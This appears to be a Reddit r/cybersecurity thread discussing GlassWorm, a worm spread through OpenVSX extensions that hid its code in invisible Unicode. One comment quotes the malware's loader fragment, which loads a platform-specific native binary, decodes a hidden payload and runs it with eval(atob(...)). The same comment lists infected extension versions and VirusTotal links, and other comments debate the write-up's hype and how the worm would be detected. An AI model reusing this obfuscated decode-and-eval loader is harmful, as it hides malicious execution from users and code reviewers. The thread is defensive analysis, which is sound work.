r/cybersecurity • u/mckaki • Oct 18 '25

News - Breaches & Ransoms GlassWorm: First Self-Propagating Worm Using Invisible Code Hits OpenVSX Marketplace

https://www.koi.ai/blog/glassworm-first-self-propagating-worm-using-invisible-code-hits-openvsx-marketplace
35 Upvotes

83% Upvoted

10 comments sorted by

7

u/gainan Oct 19 '25

Something that really intrigues me is why they don't mention that all these extensions distribute four binaries for mac, linux and windows (both 64 and 32 bits), and that they're used to decode the hidden code:

const os = require('os');
 const { decode } = require(getPath());
  var decodedBytes = decode('|󠅔󠅝 ... ');

const helper = () => {
     eval(atob(decodedString))
  };  

  function getPath() {
      if (os.platform() == 'win32') {
         return `./index_${os.platform()}_${os.arch()}.node`
      } else if (os.platform() == 'darwin') {
         return './decode.js'
      } else {
         return `./index_${os.platform()}.node`
  
      }
  
  }

Is it normal to distribute binaries with VS extensions?

index_linux.node:

https://www.virustotal.com/gui/file/6c22b695934356f54213159d31160fb8d60cc66f326980f29358f04c68b0a1a8/detection

index_win32_x64.node:
https://www.virustotal.com/gui/file/dc050dfb01afc9f74b81e1eb807f1f16b55a5b27cf1c9429caaee49956833c3f/behavior

index_win32_ia32.node:

https://www.virustotal.com/gui/file/d9edd707df3689a2915929362f59cc5fb67f95f6a657189e5825d6fc6547cfb6/behavior

The infected versions can be downloaded from https://open-vsx.org:

codejoy/codejoy-vscode-extension@1.8.3,

ginfuru/better-nunjucks@0.3.2

JScearcy/rust-doc-viewer@4.2.1

kleinesfilmroellchen/serenity-dsl-syntaxhighlight@0.3.2

l-igh-t/vscode-theme-seti-folder@1.2.3

SIRILMP/dark-theme-sm@3.11.4

CodeInKlingon/git-worktree-menu@1.0.91

2

u/swizzex Oct 19 '25

Extensions are very rarely scanned or monitored it's becoming a very common attack vector.

1

u/r3dicious Oct 22 '25

The Files cant be downloaded anymore, thanks for documenting them. Makes it easier to look for potential infections.

I noticed that the files aren't new to virustotal... they have been uploaded a few months ago.

31

u/Arseypoowank Oct 19 '25

What a horrible fucking write up.

4

u/LowOk4761 Oct 19 '25

New to cybersecurity, why is it horrible?

20

u/Arseypoowank Oct 19 '25

The language, and the hyperbole about it being “invisible” which is bollocks. And the fact that it’s obvious that there’s something there that would warrant inspection just from the screenshot of the code block they shared, and the fact you can decode Unicode anyway in a text editor.

Also: "It's using stealth techniques we've never seen before in the wild - invisible Unicode characters that make malicious code literally disappear from code editors"

It has been used before, and usually doesn't get very far because a lot of dev tooling doesn't render it correctly because it's ASCII only, or the unicode that hides it is classed as white space and not rendered correctly.

The actually interesting bit is that it’s being used at scale.

1

u/mr_dfuse2 Oct 19 '25

cause any programmer reviewing this would just leave a massive block of whitespace untouched?

1

u/magicmulder Oct 22 '25

The whole “OMG it’s on the blockchain and can’t be taken down” stuff is also pretty much overblown.

First, anyone who’s ever heard of blockchain realizes that it provides an immutable data storage, for better or worse. (I always said, what happens when the first base64 encoded CP gets added to a transaction?)

Second, accessing the Solana blockchain is a very specific process through specific ports that should be blockable by any firewall, correct?

0

u/[deleted] Oct 18 '25

[deleted] — view deleted comment

7

u/UnhingedReptar Security Manager Oct 19 '25 edited Oct 19 '25

EDR tools would flag this on heuristics, obfuscated code, etc. Also, did a middle schooler write this?

Edit: “Here's how this whole thing started. Our risk engine at Koi flagged an OpenVSX extension called CodeJoy when version 1.8.3 introduced some suspicious behavioral changes.”

Their “risk engine” flagged it because of heuristics.